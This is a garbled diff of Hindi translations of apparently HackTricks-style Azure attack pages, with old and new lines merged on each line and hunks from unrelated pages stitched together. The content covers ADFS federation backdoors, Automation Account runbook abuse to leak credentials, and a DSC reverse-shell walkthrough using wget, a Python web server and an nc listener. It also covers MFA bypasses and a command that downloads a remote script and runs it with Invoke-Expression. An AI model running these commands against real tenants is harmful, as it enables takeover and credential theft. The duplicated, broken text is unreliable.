**नीचे दिए गए कमांड को ADFS सर्वर(s) पर DA के रूप में चलाएँ** नए certs बनाने के लिए (डिफ़ॉल्ट पासवर्ड 'AADInternals'), उन्हें ADFS में जोड़ें, ऑटो रोलओवर को अक्षम करें और सेवा को पुनः प्रारंभ करें: **निम्नलिखित कमांड** को **ADFS सर्वर(s)** पर **DA के रूप में** चलाएँ ताकि नए सर्टिफिकेट बनाए जा सकें (डिफ़ॉल्ट पासवर्ड 'AADInternals'), उन्हें ADFS में जोड़ें, ऑटो रोलओवर को अक्षम करें और सेवा को पुनः प्रारंभ करें:
```powershell ```bash
New-AADIntADFSSelfSignedCertificates New-AADIntADFSSelfSignedCertificates
``` ```
फिर, Azure AD के साथ प्रमाणपत्र जानकारी को अपडेट करें: फिर, Azure AD के साथ प्रमाणपत्र जानकारी को अपडेट करें:
```powershell ```bash
Update-AADIntADFSFederationSettings -Domain cyberranges.io Update-AADIntADFSFederationSettings -Domain cyberranges.io
``` ```
### Federation - Trusted Domain ### Federation - Trusted Domain
GA विशेषाधिकारों के साथ एक टेनेट पर, **एक नया डोमेन जोड़ना** संभव है (इसकी पुष्टि होनी चाहिए), इसके प्रमाणीकरण प्रकार को Federated पर कॉन्फ़िगर करना और डोमेन को **एक विशिष्ट प्रमाणपत्र** (नीचे दिए गए कमांड में any.sts) और जारीकर्ता पर **विश्वास** करने के लिए कॉन्फ़िगर करना: GA विशेषाधिकार के साथ एक टेनेट पर, **एक नया डोमेन जोड़ना** संभव है (जिसे सत्यापित किया जाना चाहिए), इसके प्रमाणीकरण प्रकार को फेडरेटेड पर कॉन्फ़िगर करना और डोमेन को **एक विशिष्ट प्रमाणपत्र** (नीचे दिए गए कमांड में any.sts) और जारीकर्ता पर **विश्वास** करना:
```powershell ```bash
# Using AADInternals # Using AADInternals
ConvertTo-AADIntBackdoor -DomainName cyberranges.io ConvertTo-AADIntBackdoor -DomainName cyberranges.io
@@ -17,11 +17,11 @@
इसके अलावा, यदि हाइब्रिड वर्कर Azure में अन्य प्रबंधित पहचान के साथ चल रहा है, तो रनबुक **रनबुक की प्रबंधित पहचान और VM की सभी प्रबंधित पहचान को मेटाडेटा सेवा से** एक्सेस कर सकेगा। इसके अलावा, यदि हाइब्रिड वर्कर Azure में अन्य प्रबंधित पहचान के साथ चल रहा है, तो रनबुक **रनबुक की प्रबंधित पहचान और VM की सभी प्रबंधित पहचान को मेटाडेटा सेवा से** एक्सेस कर सकेगा।
> [!TIP] > [!TIP]
> याद रखें कि **मेटाडेटा सेवा** का एक अलग URL है (**`http://169.254.169.254`**) उस सेवा की तुलना में जहां से ऑटोमेशन खाते की प्रबंधित पहचान टोकन प्राप्त किया जाता है (**`IDENTITY_ENDPOINT`**). > याद रखें कि **मेटाडेटा सेवा** का एक अलग URL है (**`http://169.254.169.254`**) उस सेवा से जहां से ऑटोमेशन खाते की प्रबंधित पहचान टोकन प्राप्त किया जाता है (**`IDENTITY_ENDPOINT`**).
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
संक्षेप में, ये अनुमतियाँ **ऑटोमेशन खाते में रनबुक बनाने, संशोधित करने और चलाने** की अनुमति देती हैं, जिसका उपयोग आप **ऑटोमेशन खाते के संदर्भ में कोड निष्पादित करने** और असाइन की गई **प्रबंधित पहचान** के लिए विशेषाधिकार बढ़ाने और ऑटोमेशन खाते में संग्रहीत **क्रेडेंशियल्स** और **एन्क्रिप्टेड वेरिएबल्स** को लीक करने के लिए कर सकते हैं। संक्षेप में, ये अनुमतियाँ **ऑटोमेशन खाते में रनबुक बनाने, संशोधित करने और चलाने** की अनुमति देती हैं, जिस आप **ऑटोमेशन खाते के संदर्भ में कोड निष्पादित करने** और असाइन की गई **प्रबंधित पहचान** के लिए विशेषाधिकार बढ़ाने और ऑटोमेशन खाते में संग्रहीत **क्रेडेंशियल्स** और **एन्क्रिप्टेड वेरिएबल्स** को लीक करने के लिए उपयोग कर सकते हैं।
अनुमति **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** ऑटोमेशन खाते में एक रनबुक के कोड को संशोधित करने की अनुमति देती है: अनुमति **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** ऑटोमेशन खाते में एक रनबुक के कोड को संशोधित करने की अनुमति देती है:
```bash ```bash
@@ -127,9 +127,9 @@ az rest --method PUT \
### `Microsoft.Automation/automationAccounts/webhooks/write` ### `Microsoft.Automation/automationAccounts/webhooks/write`
अनुमति **`Microsoft.Automation/automationAccounts/webhooks/write`** के साथ, Automation Account के भीतर एक Runbook के लिए एक नया Webhook बनाने के लिए निम्नलिखित कमांड का उपयोग किया जा सकता है। अनुमति **`Microsoft.Automation/automationAccounts/webhooks/write`** के साथ, Automation Account के अंदर एक Runbook के लिए एक नया Webhook बनाने के लिए निम्नलिखित कमांड का उपयोग किया जा सकता है।
ध्यान दें कि आपको **webhook URI** को टोकन के साथ इंगित करने की आवश्यकता होग ध्यान दें कि आपको उपयोग करने के लिए टोकन के साथ **webhook URI** को **संकेत** करना होग
```bash ```bash
az rest --method PUT \ az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \ --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
@@ -153,7 +153,7 @@ curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-aut
``` ```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write` ### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
बस `Microsoft.Automation/automationAccounts/runbooks/draft/write` अनुमति के साथ, **एक Runbook का कोड अपडेट करना** संभव है बिना इसे प्रकाशित किए और इसे निम्नलिखित कमांड का उपयोग करके चलाना। केवल `Microsoft.Automation/automationAccounts/runbooks/draft/write` अनुमति के साथ, **एक Runbook का कोड अपडेट करना** संभव है बिना इसे प्रकाशित किए और इसे निम्नलिखित कमांड का उपयोग करके चलाना।
```bash ```bash
# Update the runbook content with the provided PowerShell script # Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \ az automation runbook replace-content --no-wait \
@@ -179,7 +179,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
``` ```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`) ### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
यह अनुमति उपयोगकर्ता को **Automation Account** के लिए एक स्रोत नियंत्रण को कॉन्फ़िगर करने की अनुमति देती है, जैसे कि निम्नलिखित कमांड का उपयोग करते हुए (यह उदाहरण के लिए Github का उपयोग करता है): यह अनुमति उपयोगकर्ता को Automation Account के लिए **एक स्रोत नियंत्रण कॉन्फ़िगर** करने की अनुमति देती है, जैसे कि निम्नलिखित कमांड का उपयोग करते हुए (यह Github को उदाहरण के रूप में उपयोग करता है):
```bash ```bash
az automation source-control create \ az automation source-control create \
--resource-group <res-group> \ --resource-group <res-group> \
@@ -194,9 +194,9 @@ az automation source-control create \
--token-type PersonalAccessToken \ --token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token> --access-token github_pat_11AEDCVZ<rest-of-the-token>
``` ```
यह स्वचालित रूप से Github रिपॉजिटरी से रनबुक को ऑटोमेशन अकाउंट में आयात करेगा और कुछ अन्य अनुमतियों के साथ उन्हें चलाना शुरू करना **संभव है कि विशेषाधिकार बढ़ाए जा सके** यह स्वचालित रूप से Github रिपॉजिटरी से रनबुक को ऑटोमेशन अकाउंट में आयात करेगा और कुछ अन्य अनुमतियों के साथ उन्हें चलाना शुरू करना **संभव है कि विशेषाधिकार बढ़ाए जा**
इसके अलावा, याद रखें कि ऑटोमेशन अकाउंट में स्रोत नियंत्रण कार्य करने के लिए, इसमें **`Contributor`** भूमिका के साथ एक प्रबंधित पहचान होनी चाहिए और यदि यह एक उपयोगकर्ता प्रबंधित पहचान है, तो MI का क्लाइंट आईडी को **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** वेरिएबल में निर्दिष्ट किया जाना चाहिए। इसके अलावा, याद रखें कि ऑटोमेशन अकाउंट में स्रोत नियंत्रण का करने के लिए, इसमें **`Contributor`** भूमिका के साथ एक प्रबंधित पहचान होनी चाहिए और यदि यह एक उपयोगकर्ता प्रबंधित पहचान है, तो MI का क्लाइंट आईडी को **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** वेरिएबल में निर्दिष्ट किया जाना चाहिए।
> [!TIP] > [!TIP]
> ध्यान दें कि एक बार स्रोत नियंत्रण का निर्माण हो जाने के बाद, इसके रिपॉजिटरी URL को बदलना संभव नहीं है। > ध्यान दें कि एक बार स्रोत नियंत्रण का निर्माण हो जाने के बाद, इसके रिपॉजिटरी URL को बदलना संभव नहीं है।
@@ -219,7 +219,7 @@ az rest --method PUT \
``` ```
### कस्टम रनटाइम वातावरण ### कस्टम रनटाइम वातावरण
यदि एक ऑटोमेशन खाता एक कस्टम रनटाइम वातावरण का उपयोग कर रहा है, तो यह संभव है कि रनटाइम के एक कस्टम पैकेज को कुछ दुर्भावनापूर्ण कोड (जैसे **एक बैकडोर**) के साथ ओवरराइट किया जा सके। इस तरह, जब भी उस कस्टम रनटाइम का उपयोग करने वाला एक रनबुक निष्पादित होता है और कस्टम पैकेज लोड होता है, तो दुर्भावनापूर्ण कोड निष्पादित होगा। यदि एक ऑटोमेशन खाता एक कस्टम रनटाइम वातावरण का उपयोग कर रहा है, तो यह संभव है कि रनटाइम के एक कस्टम पैकेज को कुछ दुर्भावनापूर्ण कोड (जैसे **एक बैकडोर**) के साथ ओवरराइट किया जा सके। इस तरह, जब भी उस कस्टम रनटाइम का उपयोग करने वाला एक रनबुक निष्पादित होता है और कस्टम पैकेज को लोड करता है, तो दुर्भावनापूर्ण कोड निष्पादित होगा।
### राज्य कॉन्फ़िगरेशन का समझौता करना ### राज्य कॉन्फ़िगरेशन का समझौता करना
@@ -228,7 +228,7 @@ az rest --method PUT \
- चरण 1 — फ़ाइलें बनाएं - चरण 1 — फ़ाइलें बनाएं
**आवश्यक फ़ाइलें:** दो PowerShell स्क्रिप्ट की आवश्यकता है: **आवश्यक फ़ाइलें:** दो PowerShell स्क्रिप्ट की आवश्यकता है:
1. `reverse_shell_config.ps1`: एक इच्छित राज्य कॉन्फ़िगरेशन (DSC) फ़ाइल जो पेलोड को लाती और निष्पादित करती है। यह [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) से प्राप्त क जा सकत है। 1. `reverse_shell_config.ps1`: एक इच्छित राज्य कॉन्फ़िगरेशन (DSC) फ़ाइल जो पेलोड को लाने और निष्पादित करने के लिए है। यह [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) से प्राप्त किया जा सकत है।
2. `push_reverse_shell_config.ps1`: एक स्क्रिप्ट जो कॉन्फ़िगरेशन को VM पर प्रकाशित करती है, जो [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1) पर उपलब्ध है। 2. `push_reverse_shell_config.ps1`: एक स्क्रिप्ट जो कॉन्फ़िगरेशन को VM पर प्रकाशित करती है, जो [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1) पर उपलब्ध है।
**कस्टमाइजेशन:** इन फ़ाइलों में वेरिएबल और पैरामीटर को उपयोगकर्ता के विशिष्ट वातावरण के अनुसार अनुकूलित किया जाना चाहिए, जिसमें संसाधन नाम, फ़ाइल पथ, और सर्वर/पेलोड पहचानकर्ता शामिल हैं। **कस्टमाइजेशन:** इन फ़ाइलों में वेरिएबल और पैरामीटर को उपयोगकर्ता के विशिष्ट वातावरण के अनुसार अनुकूलित किया जाना चाहिए, जिसमें संसाधन नाम, फ़ाइल पथ, और सर्वर/पेलोड पहचानकर्ता शामिल हैं।
@@ -236,13 +236,13 @@ az rest --method PUT \
- चरण 2 — कॉन्फ़िगरेशन फ़ाइल को ज़िप करें - चरण 2 — कॉन्फ़िगरेशन फ़ाइल को ज़िप करें
`reverse_shell_config.ps1` को एक `.zip` फ़ाइल में संकुचित किया जाता है, जिससे इसे Azure स्टोरेज खाते में स्थानांतरित करने के लिए तैयार किया जा सके। `reverse_shell_config.ps1` को एक `.zip` फ़ाइल में संकुचित किया जाता है, जिससे इसे Azure स्टोरेज खाते में स्थानांतरित करने के लिए तैयार किया जा सके।
```powershell ```bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
``` ```
- Step 3 — स्टोरेज संदर्भ सेट करें और अपलोड करें - Step 3 — सेट स्टोरेज कॉन्टेक्स्ट और अपलोड करें
ज़िप किया गया कॉन्फ़िगरेशन फ़ाइल एक पूर्वनिर्धारित Azure स्टोरेज कंटेनर, azure-pentest, में Azure के Set-AzStorageBlobContent cmdlet का उपयोग करके अपलोड किया जाता है। ज़िप किया गया कॉन्फ़िगरेशन फ़ाइल को एक पूर्वनिर्धारित Azure स्टोरेज कंटेनर, azure-pentest, में Azure के Set-AzStorageBlobContent cmdlet का उपयोग करके अपलोड किया जाता है।
```powershell ```bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
``` ```
- Step 4 — Prep Kali Box - Step 4 — Prep Kali Box
@@ -259,7 +259,7 @@ wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
- Step 6 — Host Payload and Setup Listener - Step 6 — Host Payload and Setup Listener
पेलोड को होस्ट करने के लिए एक Python SimpleHTTPServer शुरू किया जाता है, साथ ही आने वाले कनेक्शनों को कैप्चर करने के लिए एक Netcat लिस्नर। पेलोड को होस्ट करने के लिए एक Python SimpleHTTPServer शुरू किया जाता है, साथ ही आने वाले कनेक्शनों को कैप्चर करने के लिए एक Netcat लिस्नर भी
```bash ```bash
sudo python -m SimpleHTTPServer 80 sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443 sudo nc -nlvp 443
@@ -4,12 +4,12 @@
## Basic Information ## Basic Information
Azure Conditional Access नीतियाँ Microsoft Azure में नियम हैं जो कुछ **शर्तों** के आधार पर Azure सेवाओं और अनुप्रयोगों तक पहुँच नियंत्रण लागू करने के लिए स्थापित की गई हैं। ये नीतियाँ संगठनों को सही परिस्थितियों में सही पहुँच नियंत्रण लागू करके अपने संसाधनों को सुरक्षित रखने में मदद करती हैं।\ Azure Conditional Access नीतियाँ Microsoft Azure में नियम हैं जो कुछ **शर्तों** के आधार पर Azure सेवाओं और अनुप्रयोगों तक पहुँच नियंत्रण लागू करने के लिए स्थापित की जाती हैं। ये नीतियाँ संगठनों को सही परिस्थितियों में सही पहुँच नियंत्रण लागू करके अपने संसाधनों को सुरक्षित रखने में मदद करती हैं।\
Conditional access नीतियाँ मूल रूप से **यह परिभाषित करती हैं** कि **कौन** **क्या** **कहाँ** और **कैसे** पहुँच सकता है। Conditional access नीतियाँ मूल रूप से **यह परिभाषित करती हैं** **कौन** **क्या** **कहाँ** और **कैसे** पहुँच सकता है।
यहाँ कुछ उदाहरण दिए गए हैं: यहाँ कुछ उदाहरण दिए गए हैं:
1. **साइन-इन जोखिम नीति**: यह नीति तब लागू की जा सकती है जब साइन-इन जोखिम का पता लगाया जाता है, जैसे कि जब किसी उपयोगकर्ता का लॉगिन व्यवहार उनके नियमित पैटर्न की तुलना में असामान्य होता है, जैसे कि किसी अन्य देश से लॉगिन करना, तो सिस्टम अतिरिक्त प्रमाणीकरण के लिए संकेत दे सकता है। 1. **साइन-इन जोखिम नीति**: यह नीति तब लागू की जा सकती है जब साइन-इन जोखिम का पता लगाया जाता है, जैसे कि जब क उपयोगकर्ता का लॉगिन व्यवहार उनके नियमित पैटर्न की तुलना में असामान्य होता है, जैसे कि किसी अन्य देश से लॉगिन करना, तो सिस्टम अतिरिक्त प्रमाणीकरण के लिए संकेत दे सकता है।
2. **डिवाइस अनुपालन नीति**: यह नीति केवल उन उपकरणों तक पहुँच को प्रतिबंधित कर सकती है जो संगठन के सुरक्षा मानकों के अनुपालन में हैं। उदाहरण के लिए, केवल उन उपकरणों से पहुँच की अनुमति दी जा सकती है जिनमें अद्यतन एंटीवायरस सॉफ़्टवेयर है या जो एक निश्चित ऑपरेटिंग सिस्टम संस्करण चला रहे हैं। 2. **डिवाइस अनुपालन नीति**: यह नीति केवल उन उपकरणों तक पहुँच को प्रतिबंधित कर सकती है जो संगठन के सुरक्षा मानकों के अनुपालन में हैं। उदाहरण के लिए, केवल उन उपकरणों से पहुँच की अनुमति दी जा सकती है जिनमें अद्यतन एंटीवायरस सॉफ़्टवेयर है या जो एक निश्चित ऑपरेटिंग सिस्टम संस्करण चला रहे हैं।
## Conditional Access Policies Bypasses ## Conditional Access Policies Bypasses
@@ -25,13 +25,13 @@ Conditional access नीतियाँ मूल रूप से **यह प
- **Microsoft जोखिम**: उपयोगकर्ता जोखिम, साइन-इन जोखिम, अंदरूनी जोखिम - **Microsoft जोखिम**: उपयोगकर्ता जोखिम, साइन-इन जोखिम, अंदरूनी जोखिम
- **डिवाइस प्लेटफार्म**: कोई भी डिवाइस या Android, iOS, Windows phone, Windows, macOS, Linux का चयन करें - **डिवाइस प्लेटफार्म**: कोई भी डिवाइस या Android, iOS, Windows phone, Windows, macOS, Linux का चयन करें
- यदि "कोई भी डिवाइस" का चयन नहीं किया गया है लेकिन सभी अन्य विकल्प चुने गए हैं, तो इसे उन प्लेटफार्मों से संबंधित न होने वाले यादृच्छिक उपयोगकर्ता-एजेंट का उपयोग करके बायपास किया जा सकता है - यदि "कोई भी डिवाइस" का चयन नहीं किया गया है लेकिन सभी अन्य विकल्प चुने गए हैं, तो इसे उन प्लेटफार्मों से संबंधित न होने वाले यादृच्छिक उपयोगकर्ता-एजेंट का उपयोग करके बायपास किया जा सकता है
- **क्लाइंट ऐप**: विकल्प हैं "ब्राउज़र", "मोबाइल ऐप और डेस्कटॉप क्लाइंट", "एक्सचेंज एक्टिवसिंक क्लाइंट" और "अन्य क्लाइंट" - **क्लाइंट ऐप**: विकल्प हैं "ब्राउज़र", "मोबाइल ऐप और डेस्कटॉप क्लाइंट", "एक्सचेंज एक्टिवसिंक क्लाइंट" और अन्य क्लाइंट"
- एक न चुने गए विकल्प के साथ लॉगिन बायपास करने के लिए - एक न चुने गए विकल्प के साथ लॉगिन बायपास करने के लिए
- **डिवाइस के लिए फ़िल्टर**: उपयोग किए गए डिवाइस से संबंधित एक नियम उत्पन्न करना संभव है - **डिवाइस के लिए फ़िल्टर**: उपयोग किए गए डिवाइस से संबंधित एक नियम उत्पन्न करना संभव है
- **प्रमाणीकरण प्रवाह**: विकल्प हैं "डिवाइस कोड प्रवाह" और "प्रमाणीकरण स्थानांतरण" - **प्रमाणीकरण प्रवाह**: विकल्प हैं "डिवाइस कोड प्रवाह" और "प्रमाणीकरण स्थानांतरण"
- यह एक हमलावर को प्रभावित नहीं करेगा जब तक कि वह पीड़ित के खाते तक पहुँचने के लिए फ़िशिंग प्रयास में इनमें से किसी भी प्रोटोकॉल का दुरुपयोग करने की कोशिश नहीं कर रहा हो - यह एक हमलावर को प्रभावित नहीं करेगा जब तक कि वह पीड़ित के खाते तक पहुँचने के लिए फ़िशिंग प्रयास में इनमें से किसी भी प्रोटोकॉल का दुरुपयोग करने की कोशिश नहीं कर रहा हो
संभावित **परिणाम** हैं: ब्लॉक या पहुँच प्रदान करना संभावित शर्तों के साथ जैसे MFA की आवश्यकता, डिवाइस का अनुपालन होना... संभावित **परिणाम** हैं: ब्लॉक या पहुँच प्रदान करें जिसमें संभावित शर्तें जैसे MFA की आवश्यकता, डिवाइस का अनुपालन...
### Device Platforms - Device Condition ### Device Platforms - Device Condition
@@ -52,14 +52,14 @@ Conditional access नीतियाँ मूल रूप से **यह प
### Cloud Apps ### Cloud Apps
यह संभव है कि **विशिष्ट ऐप** तक पहुँचने के लिए एक उपयोगकर्ता MFA को ब्लॉक या मजबूर करने के लिए **conditional access policies** को कॉन्फ़िगर किया जाए: यह संभव है कि **विशिष्ट ऐप** तक पहुँचने का प्रयास करते समय **कंडीशनल एक्सेस नीतियों को ब्लॉक या मजबूर** किया जाए, जैसे कि MFA:
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
इस सुरक्षा को बायपास करने के लिए आपको देखना चाहिए कि क्या आप **किसी भी एप्लिकेशन में केवल लॉगिन कर सकते हैं**।\ इस सुरक्षा को बायपास करने के लिए आपको देखना चाहिए कि क्या आप **केवल किसी भी एप्लिकेशन में** लॉगिन कर सकते हैं।\
उपकरण [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) में **दर्जनों एप्लिकेशन आईडी हार्डकोडेड** हैं और यह उनमें लॉगिन करने की कोशिश करेगा और आपको सूचित करेगा और यदि सफल होता है तो आपको टोकन भी देगा। उपकरण [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) में **दर्जनों एप्लिकेशन आईडी हार्डकोडेड** हैं और यह उनमें लॉगिन करने का प्रयास करेगा और आपको सूचित करेगा और यदि सफल होता है तो आपको टोकन भी देगा।
विशिष्ट संसाधनों में **विशिष्ट एप्लिकेशन आईडी का परीक्षण करने के लिए** आप इस तरह के उपकरण का भी उपयोग कर सकते हैं: विशिष्ट संसाधनों में **विशिष्ट एप्लिकेशन आईडी का परीक्षण करने के लिए** आप एक उपकरण का उपयोग कर सकते हैं जैसे:
```bash ```bash
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
@@ -69,7 +69,7 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4
उपकरण [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) को भी समान उद्देश्यों के लिए उपयोग किया जा सकता है हालांकि यह अप्रबंधित लगता है। उपकरण [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) को भी समान उद्देश्यों के लिए उपयोग किया जा सकता है हालांकि यह अप्रबंधित लगता है।
उपकरण [**ROPCI**](https://github.com/wunderwuzzi23/ropci) का उपयोग भी इन सुरक्षा उपायों का परीक्षण करने और यह देखने के लिए किया जा सकता है कि क्या MFAs या ब्लॉकों को बायपास करना संभव है, लेकिन यह उपकरण **whitebox** दृष्टिकोण से काम करता है। आपको पहले टेनेट में अनुमत ऐप्स की सूची डाउनलोड करनी होगी और फिर यह उनमें लॉगिन करने की कोशिश करेगा। उपकरण [**ROPCI**](https://github.com/wunderwuzzi23/ropci) का उपयोग इन सुरक्षा उपायों का परीक्षण करने और यह देखने के लिए किया जा सकता है कि क्या MFAs या ब्लॉकों को बायपास करना संभव है, लेकिन यह उपकरण **whitebox** दृष्टिकोण से काम करता है। आपको पहले टेनेट में अनुमत ऐप्स की सूची डाउनलोड करनी होगी और फिर यह उनमें लॉगिन करने की कोशिश करेगा।
## अन्य Az MFA बायपास ## अन्य Az MFA बायपास
@@ -78,14 +78,14 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4
एक Azure MFA विकल्प है **कॉन्फ़िगर किए गए फोन नंबर पर कॉल प्राप्त करना** जहां उपयोगकर्ता से **चर `#` भेजने** के लिए कहा जाएगा। एक Azure MFA विकल्प है **कॉन्फ़िगर किए गए फोन नंबर पर कॉल प्राप्त करना** जहां उपयोगकर्ता से **चर `#` भेजने** के लिए कहा जाएगा।
> [!CAUTION] > [!CAUTION]
> ूंकि चर केवल **स्वर** हैं, एक हमलावर **फोन नंबर** के **वॉइसमेल** संदेश को **समझौता** कर सकता है, संदेश के रूप में **`#` का स्वर** कॉन्फ़िगर कर सकता है और फिर, जब MFA का अनुरोध किया जाता है, तो सुनिश्चित करें कि **पीड़ित का फोन व्यस्त है** (इसे कॉल करके) ताकि Azure कॉल वॉइसमेल पर रीडायरेक्ट हो जाए। > रों के रूप में केवल **स्वर** होते हैं, एक हमलावर **फोन नंबर** के **वॉइसमेल** संदेश को **समझौता** कर सकता है, संदेश के रूप में **`#` का स्वर** कॉन्फ़िगर कर सकता है और फिर, जब MFA का अनुरोध किया जाता है, तो सुनिश्चित करें कि **शिकार का फोन व्यस्त है** (इसे कॉल करके) ताकि Azure कॉल वॉइसमेल पर रीडायरेक्ट हो जाए।
### अनुपालन उपकरण ### अनुपालन उपकरण
नीतियाँ अक्सर एक अनुपालन उपकरण या MFA की मांग करती हैं, इसलिए एक **हमलावर एक अनुपालन उपकरण पंजीकृत कर सकता है**, एक **PRT** टोकन प्राप्त कर सकता है और **इस तरह MFA को बायपास कर सकता है** नीतियाँ अक्सर एक अनुपालन उपकरण या MFA की मांग करती हैं, इसलिए एक **हमलावर एक अनुपालन उपकरण पंजीकृत कर सकता है**, एक **PRT** टोकन प्राप्त कर सकता है और **इस तरह MFA को बायपास कर सकता है**
एक **अनुपालन उपकरण को Intune में पंजीकृत करने** से शुरू करें, फिर **PRT प्राप्त करें**: एक **अनुपालन उपकरण को Intune में पंजीकृत करने** से शुरू करें, फिर **PRT प्राप्त करें**:
```powershell ```bash
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials $prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce $prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce
@@ -106,7 +106,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
यह स्क्रिप्ट कुछ उपयोगकर्ता क्रेडेंशियल प्राप्त करती है और जांचती है कि क्या यह कुछ अनुप्रयोगों में लॉगिन कर सकती है। यह स्क्रिप्ट कुछ उपयोगकर्ता क्रेडेंशियल प्राप्त करती है और जांचती है कि क्या यह कुछ अनुप्रयोगों में लॉगिन कर सकती है।
यह उपयोगी है यह देखने के लिए कि क्या आपको कुछ अनुप्रयोगों में लॉगिन करने के लिए **MFA की आवश्यकता नहीं है** जिसे आप बाद में **privileges बढ़ाने** के लिए दुरुपयोग कर सकते हैं। यह उपयोगी है यह देखने के लिए कि क्या आप **कुछ अनुप्रयोगों में लॉगिन करने के लिए MFA की आवश्यकता नहीं है** जिसे आप बाद में **privileges बढ़ाने** के लिए दुरुपयोग कर सकते हैं।
### [roadrecon](https://github.com/dirkjanm/ROADtools) ### [roadrecon](https://github.com/dirkjanm/ROADtools)
@@ -116,7 +116,7 @@ roadrecon plugin policies
``` ```
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep) ### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
MFASweep एक PowerShell स्क्रिप्ट है जो **प्रदान किए गए क्रेडेंशियल्स का उपयोग करके विभिन्न Microsoft सेवाओं में लॉग इन करने का प्रयास करती है और यह पहचानने का प्रयास करती है कि क्या MFA सक्षम है**। यह इस पर निर्भर करता है कि कैसे कंडीशनल एक्सेस नीतियाँ और अन्य मल्टी-फैक्टर ऑथेंटिकेशन सेटिंग्स कॉन्फ़िगर की गई हैं, कुछ प्रोटोकॉल अंततः एकल कारक के रूप में रह सकते हैं। इसमें ADFS कॉन्फ़िगरेशन के लिए एक अतिरिक्त जांच भी है और यदि पता लगाया गया तो यह ऑन-प्रिम ADFS सर्वर में लॉग इन करने का प्रयास कर सकता है। MFASweep एक PowerShell स्क्रिप्ट है जो **प्रदान किए गए क्रेडेंशियल्स का उपयोग करके विभिन्न Microsoft सेवाओं में लॉग इन करने का प्रयास करती है और यह पहचानने का प्रयास करती है कि क्या MFA सक्षम है**। यह इस पर निर्भर करता है कि कैसे कंडीशनल एक्सेस नीतियाँ और अन्य मल्टी-फैक्टर ऑथेंटिकेशन सेटिंग्स कॉन्फ़िगर की गई हैं, कुछ प्रोटोकॉल अंततः सिंगल फैक्टर रह सकते हैं। इसमें ADFS कॉन्फ़िगरेशन के लिए एक अतिरिक्त जांच भी है और यदि पता लगाया गया तो यह ऑन-प्रिम ADFS सर्वर में लॉग इन करने का प्रयास कर सकता है।
```bash ```bash
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass> Invoke-MFASweep -Username <username> -Password <pass>
